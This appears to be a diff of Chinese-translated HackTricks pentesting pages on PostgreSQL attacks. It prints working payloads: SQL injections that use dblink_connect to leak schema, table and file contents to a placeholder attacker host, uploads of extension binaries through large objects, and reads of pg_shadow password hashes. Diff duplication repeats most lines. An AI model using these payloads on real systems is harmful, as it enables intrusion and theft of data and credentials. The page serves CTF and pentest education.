在利用这个漏洞时,请记住你必须发送**2KB明文字节的块**不是2KB的base64或十六进制编码字节。如果你尝试自动化这个过程**十六进制编码**文件的大小是**双倍**那么你需要为每个块发送4KB的编码数据而**base64**编码文件的大小是`ceil(n / 3) * 4`
{% endhint %}
此外,您可以通过调试过程查看创建的大型对象的内容:
此外,在调试过程中,你可以查看创建的大型对象的内容:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
# 使用 lo_creat 和 Base64
# 使用 lo\_creat & Base64
首先,我们需要创建一个 LOID用于保存二进制数据
```sql
SELECT lo_creat(-1); -- returns OID of new, empty large object
SELECT lo_create(173454); -- attempts to create large object with OID 43213
```
如果你正在滥用**盲注**,你会更感兴趣使用`lo_create`和**固定的LOID**,这样你就**知道**你需要**上传**内容的位置。\
另外,请注意,函数名称是`lo_creat`和`lo_create`,没有语法错误。
如果您正在利用**盲目SQL注入**,您会更感兴趣使用`lo_create`搭配一个**固定的LOID**,这样您就**知道在哪里**需要**上传**内容。\
另外,请注意,函数名称是`lo_creat`和`lo_create`这里没有语法错误。
LOID用于在`pg_largeobject`表中标识对象。可以使用以下方法将大小为2KB的块插入到`pg_largeobject`表中:
LOID用于在`pg_largeobject`表中识别对象。可以通过以下方式将2KB大小的数据块插入到`pg_largeobject`表中:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
```
最后您可以将文件导出到文件系统中在此示例中使用的LOID为`173454`
```markdown
最后,您可以执行以下操作将文件导出到文件系统(在此示例中使用的 LOID 是 `173454`
```
```sql
SELECT lo_export(173454, '/tmp/pg_exec.so');
```
{% hint style="info" %}
请注意,在最新版本的PostgreSQL中您可能需要**上传扩展程序而不指定任何路径**。[**阅读此处获取更多信息**](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
请注意,在最新版本的 postgres 中,您可能需要**不指定任何路径**就**上传扩展**。[**阅读此内容以获取更多信息**。](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
您可能有兴趣在导出大型对象后删除它
您可能对在导出大型对象后删除它感兴趣
```sql
SELECT lo_unlink(173454); -- deletes large object with OID 173454
```
# 使用 lo\_import Hex
# 使用 lo\_import & Hex
在这种情况下,将使用 lo\_import 来创建一个大型对象。幸运的是,在这种情况下,您可以(也可以)指定要使用的 LOID
在这个场景中,将使用 lo\_import 来创建一个大型对象。幸运的是,在这种情况下,你可以(也不能)指定你想要使用的 LOID
```sql
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
```
创建对象后,您可以开始在每个页面上插入数据(记住您必须插入2KB的数据块
创建对象后您可以开始在每个页面上插入数据记住您必须插入2KB的数据块
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
```
HEX必须只包含十六进制不包括`0x`或`\x`),例如:
HEX 必须只包含十六进制(不包括 `0x` `\x`),例如:
```sql
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
```
最后,将数据导出到一个文件并删除大对象:
最后,将数据导出到文件并删除大对象:
```sql
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
```
{% hint style="info" %}
注意在最新版本的PostgreSQL中您可能需要**上传扩展而不指定任何路径**。[**阅读此处获取更多信息**](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
注意在最新版本的PostgreSQL中您可能需要**不指定任何路径**就**上传扩展**。[**阅读此内容以获取更多信息**。](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
# 限制
阅读PostgreSQL中的大对象文档后我们可以发现**大对象可以有ACL**(访问控制列表)。可以配置**新的大对象**,使您的用户**没有足够的权限**来读取它们,即使它们是由您的用户创建的
阅读PostgreSQL中的大对象文档后,我们可以发现**大对象可以有ACL**(访问控制列表)。可以配置**新的大对象**,使您的用户即使是由您的用户创建的,也**没有足够的权限**来读取它们。
然而,可能存在**具有允许当前用户读取的ACL的旧对象**,然后我们可以泄露该对象的内容。
然而,可能存在**旧对象的ACL允许当前用户读取它**,那么我们可以泄露该对象的内容。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击</strong></summary>
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details>

View file

@ -1,49 +1,47 @@
# dblink/lo\_import数据泄露
# dblink/lo\_import 数据泄露
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>从零开始学习AWS黑客攻击直至成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持HackTricks的其他方式
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在 **HackTricks中看到您的公司广告****下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
</details>
**这是一个使用`lo_import`加载文件到数据库并使用`dblink_connect`泄露数据的示例。**
**这是一个示例,展示如何使用`lo_import`在数据库中加载文件并使用`dblink_connect`进行数据泄露。**
## 准备数据泄露服务器/异步SQL注入
**摘自:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
由于`pg_sleep`也不会引起延迟,我们可以安全地假设查询执行在后台或异步执行
因为`pg_sleep`也不会导致延迟,我们可以安全地假设查询执行是在后台或异步进行的
通常,`dblink_connect`可用于打开到远程PostgreSQL数据库的持久连接例如`SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`)。因为我们可以控制此函数的参数所以我们可以对自己的主机执行SQL服务器端请求伪造。这意味着我们可以执行带外SQL注入以从SQL查询结果中泄露数据。至少有两种方法可以实现这一点:
通常,`dblink_connect`可用于打开到远程PostgreSQL数据库的持久连接例如`SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`)。因为我们可以控制这个函数的参数我们可以对我们自己的主机执行SQL服务器端请求伪造。这意味着我们可以执行Out-of-Band SQL注入来从SQL查询结果中泄露数据。至少有两种方法可以做到这一点:
1. 设置一个**DNS服务器**,然后触发与`[data].our.domain`的连接以便我们可以在日志或DNS网络数据包中看到数据。
2. 设置一个**公共PostgreSQL服务器视到PostgreSQL端口的传入网络数据包**,然后触发与我们的主机的连接,将泄露的数据作为`user`/`dbname`。**默认情况下**PostgreSQL不使用SSL进行通信因此我们可以在网络上以**明文**形式看到`user`/`dbname`。
1. 设置一个**DNS服务器**,然后触发连接到`[data].our.domain`这样我们可以在日志或DNS网络包中看到数据。
2. 设置一个**公共PostgreSQL服务器控传入的PostgreSQL端口的网络包**,然后触发连接到我们的主机,并将泄露的数据作为`user`/`dbname`。**默认情况下**PostgreSQL不使用SSL进行通信所以我们可以在网络上以**明文**形式看到`user`/`dbname`。
第二种方法更容易因为我们不需要任何域名。我们只需要设置一个具有公共IP的服务器安装PostgreSQL将PostgreSQL服务设置为监听\*/0.0.0.0并运行一个网络抓包工具例如tcpdump来监视到PostgreSQL端口默认为5432的流量。
**第二种方法更简单**因为我们不需要任何域名。我们只需要设置一个具有公共IP的服务器安装PostgreSQL设置PostgreSQL服务监听\*/0.0.0.0并运行网络转储器例如tcpdump来监控到PostgreSQL端口默认为5432的流量。
将PostgreSQL设置为**公开监听**,请在`postgresql.conf`中将`listen_addresses`设置为`*`。
设置PostgreSQL以便它**对公众开放监听**,请在`postgresql.conf`中将`listen_addresses`设置为`*`。
```
listen_addresses = '*'
```
要监视传入的流量,请运行 `tcpdump` 来监视端口 5432。
要监控传入流量,请运行 `tcpdump` 来监控端口 5432。
```
sudo tcpdump -nX -i eth0 port 5432
```
要查看是否从目标获取到连接,我们可以尝试使用以下查询语句
要查看我们是否从目标获得连接,我们可以尝试使用此查询
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
```
如果成功,我们将获得一个包含可读的`user`和`dbname`的网络数据包。
如果成功,我们将获得一个包含可读的 `user` `dbname` 的网络数据包片段
```
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
@ -53,9 +51,9 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgre
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
```
然后我们可以使用几个PostgreSQL查询来继续提取数据库。请注意,对于包含空格的每个查询结果,我们需要使用`encode`函数将结果转换为十六进制/ base64,或者使用`replace`函数将空格替换为其他字符,因为这会在`dblink_connect`过程中导致执行错误。
然后,我们可以**继续使用几个PostgreSQL查询来提取数据库**。请注意,对于每个查询结果中包含空格的,我们需要使用`encode`函数将结果转换为**hex/base64**,或者使用`replace`函数将空格替换为其他字符,因为这会在`dblink_connect`过程中引起执行错误。
获取**模式的列表**
获取**架构**的**列表**
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
```
@ -71,11 +69,7 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
0x0070: 6f73 7467 7265 7300 00 ostgres.
```
获取当前模式中的表列表:
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema = current_schema();
```
获取当前模式中**表**的**列表**
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
```
@ -89,7 +83,7 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
```
**计算**`searches`表中的**行数**。
**计数** `searches` 表中的**行数**。
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
```
@ -103,15 +97,15 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) F
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
0x0050: 6772 6573 0000 gres.
```
看起来当前模式中只有一个空表,而标志不在数据库中。我们可能真的需要从`/var/lib/postgresql/data/secret`中窃取数据。不幸的是,如果我们尝试使用`pg_read_file`或`pg_read_binary_file`来读取文件,我们将无法获得传入连接,因此当前用户可能没有权限使用这些函数。
当前模式中似乎只有一个空表,且标志不在数据库中。我们可能确实需要从 `/var/lib/postgresql/data/secret` 中提取数据。不幸的是,如果我们尝试使用 `pg_read_file``pg_read_binary_file` 来读取文件,我们将不会得到传入连接,因此当前用户可能没有权限使用这些函数。
#### 关于使用postdresql进行异步SQL注入的更多信息
#### 更多关于异步 SQLInjection 与 postdresql 的信息
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
## **窃取大对象内容**
## **提取大型对象内容**
可以使用大对象来读取文件([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html))。我们可以使用`lo_import`将文件内容加载到`pg_largeobject`目录中。如果查询成功,我们将获得对象的`oid`。
可以使用大对象来读取文件([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html))。我们可以使用 `lo_import` 将文件内容加载到 `pg_largeobject` 目录中。如果查询成功,我们将获得对象的 `oid`
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
```
@ -125,11 +119,11 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import(
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
0x0050: 706f 7374 6772 6573 0000 postgres..
```
我们得到了24668作为`oid`,这意味着我们可以使用`lo_import`函数。不幸的是,如果我们尝试使用`lo_get(24668)`或直接访问`pg_largeobject`目录来获取大对象的内容,我们将不会得到任何结果。**看起来当前用户没有权限读取新对象的内容。**
我们得到了24668作为`oid`,这意味着我们可以使用`lo_import`函数。不幸的是,如果我们尝试使用`lo_get(24668)`获取大型对象的内容,直接访问`pg_largeobject`目录,我们将不到任何结果。**看起来当前用户没有权限读取新对象的内容。**
在阅读了PostgreSQL中大对象的文档后我们可以发现**大对象可以有ACL访问控制列表**。这意味着如果存在一个具有允许当前用户读取的ACL的旧对象,那么我们可以泄露该对象的内容。
阅读了PostgreSQL中大型对象的文档后我们可以发现**大型对象可以有ACL**访问控制列表。这意味着如果有一个旧对象的ACL允许当前用户读取它,那么我们可以泄露该对象的内容。
我们可以从`pg_largeobject_metadata`提取可用大对象的`oid`列表。
我们可以通过从`pg_largeobject_metadata`提取来获取可用大对象的`oid`列表。
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
```
@ -151,31 +145,29 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg
.....
.....
```
我们得到了一`oid`。我们可以尝试使用`lo_get`来加载对象的内容。例如,`lo_get(16439)`将加载`/etc/passwd`的内容。因为`lo_gets`的结果是`bytea`,我们需要将其转换为`UTF8`,以便可以附加在查询中。
我们得到了一`oid`。我们可以尝试使用`lo_get`来加载对象的内容。例如,`lo_get(16439)`将加载`/etc/passwd`的内容。因为`lo_get`的结果是`bytea`,我们需要将其转换为`UTF8`,以便可以在查询中追加
我们可以尝试加载一些具有最低`oid`的对象,以确定标志文件是否已加载。标志文件对象确实存在,其`oid`为16444。标志中没有空格所以我们可以直接显示它。
我们可以尝试加载一些最低`oid`的对象,以找出标志文件是否已经加载过。标志文件对象确实存在,`oid`为16444。标志中没有空格所以我们可以按原样显示它。
加载标志文件
加载标志的方法
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
```
#### oid的更多信息:
#### 更多 oid 信息:
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一个**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>

View file

@ -1,43 +1,41 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
<summary><strong>零基础学习 AWS 黑客攻击直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
支持 HackTricks 的其他方式:
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库 **提交 PR 来分享您的黑客技巧**
</details>
从**PostgreSQL 9.1**版本以来,安装附加模块变得简单。[像`dblink`这样的注册扩展](https://www.postgresql.org/docs/current/contrib.html)可以通过[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)进行安装:
**PostgreSQL 9.1** 起,安装额外模块变得简单。[注册的扩展如 `dblink`](https://www.postgresql.org/docs/current/contrib.html) 可以通过 [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) 安装:
```sql
CREATE EXTENSION dblink;
```
一旦加载了dblink您就可以执行一些有趣的技巧:
一旦你加载了dblink可以执行一些有趣的技巧:
## 权限提升
文件`pg_hba.conf`可能被错误配置,**允许来自本地主机的任何用户连接**,而无需知道密码。该文件通常位于`/etc/postgresql/12/main/pg_hba.conf`,错误的配置如下
文件 `pg_hba.conf` 可能配置不当,**允许来自** **localhost 的任何用户** 连接,而无需知道密码。这个文件通常可以在 `/etc/postgresql/12/main/pg_hba.conf` 找到,一个不当的配置看起来像
```
local all all trust
```
_请注意,这种配置通常用于在管理员忘记密码时修改数据库用户的密码,因此有时您可能会找到它。_\
_还要注意pg\_hba.conf文件只能由postgres用户和组读取只能由postgres用户写入。_
请注意,这种配置通常用于在管理员忘记密码时修改数据库用户的密码,因此有时您可能会发现它。\
还要注意,文件 pg_hba.conf 只能由 postgres 用户和组读取,且只能由 postgres 用户写入。
如果您已经在受害者内部获得了一个shell那么这种情况非常有用因为它将允许您连接到postgresql数据库。
如果您**已经**在受害者系统中获得了一个**shell**,这种情况将**非常有用**,因为它将允许您连接到 postgresql 数据库。
另一种可能的配置错误如下所示
另一种可能的错误配置如下:
```
host all all 127.0.0.1/32 trust
```
由于它允许来自本地主机的任何人以任何用户身份连接到数据库。\
在这种情况下,如果**`dblink`**函数**可用**,您可以通过通过已建立的连接连接到数据库并访问不应该访问的数据来**提升权限**
由于它允许来自 localhost 的任何人以任何用户身份连接到数据库。
在这种情况下,如果 **`dblink`** 函数**正常工作**,您可以通过已建立的连接连接到数据库并访问本不应该访问的数据,从而**提升权限**
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
@ -51,11 +49,11 @@ dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
**在这篇论文中找到更多关于这次攻击的信息**。
**查找** [**关于此攻击的更多信息,请参阅本文**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**。**
## 端口扫描
滥用 `dblink_connect`,你也可以**搜索开放的端口**。如果这个**函数不起作用,你应该尝试使用 `dblink_connect_u()`**因为文档中说_`dblink_connect_u()` 与 `dblink_connect()` 相同,只是它允许非超级用户使用任何身份验证方法连接_。
滥用 `dblink_connect` 也可以**搜索开放端口**。如果该**函数不起作用,您应该尝试使用 `dblink_connect_u()`**,因为文档中说 _`dblink_connect_u()` 与 `dblink_connect()` 相同,除了它允许非超级用户使用任何认证方法连接_。
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
@ -82,41 +80,11 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
请注意,在能够使用 `dblink_connect``dblink_connect_u` 之前,您可能需要执行以下操作
请注意,在使用 `dblink_connect``dblink_connect_u` **之前**,您可能需要执行:
```
CREATE extension dblink;
```
## UNC路径 - NTLM哈希泄露
In some cases, it is possible to obtain the NTLM hash of a user's password by exploiting a vulnerability in the UNC (Universal Naming Convention) path functionality. This can be achieved through a technique known as NTLM hash disclosure.
在某些情况下通过利用UNC通用命名约定路径功能中的漏洞可以获取用户密码的NTLM哈希。这可以通过一种称为NTLM哈希泄露的技术来实现。
### How it works
The NTLM hash disclosure technique takes advantage of the fact that when a user accesses a UNC path, the client machine automatically sends the user's NTLM hash to the server hosting the UNC share. This is done as part of the NTLM authentication process.
NTLM哈希泄露技术利用了这样一个事实当用户访问UNC路径时客户端机器会自动将用户的NTLM哈希发送到托管UNC共享的服务器。这是NTLM身份验证过程的一部分。
To exploit this vulnerability, an attacker can set up a malicious server that responds to UNC requests and captures the NTLM hashes sent by the client machines. The attacker can then use these captured hashes to perform offline password cracking or other malicious activities.
为了利用这个漏洞攻击者可以设置一个恶意服务器响应UNC请求并捕获客户端机器发送的NTLM哈希。然后攻击者可以使用这些捕获的哈希来进行离线密码破解或其他恶意活动。
### Mitigation
To mitigate the risk of NTLM hash disclosure through UNC paths, it is recommended to:
- Disable the use of NTLM authentication and use more secure authentication protocols like Kerberos.
- Implement strong password policies to make password cracking more difficult.
- Regularly update and patch systems to fix any known vulnerabilities.
- Monitor network traffic for any suspicious activity and investigate any unauthorized access attempts.
为了减轻通过UNC路径泄露NTLM哈希的风险建议采取以下措施
- 禁用NTLM身份验证使用更安全的身份验证协议如Kerberos。
- 实施强密码策略,增加密码破解的难度。
- 定期更新和修补系统,修复已知的漏洞。
- 监控网络流量,发现任何可疑活动,并调查任何未经授权的访问尝试。
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
@ -139,16 +107,14 @@ SELECT testfunc();
```
<details>
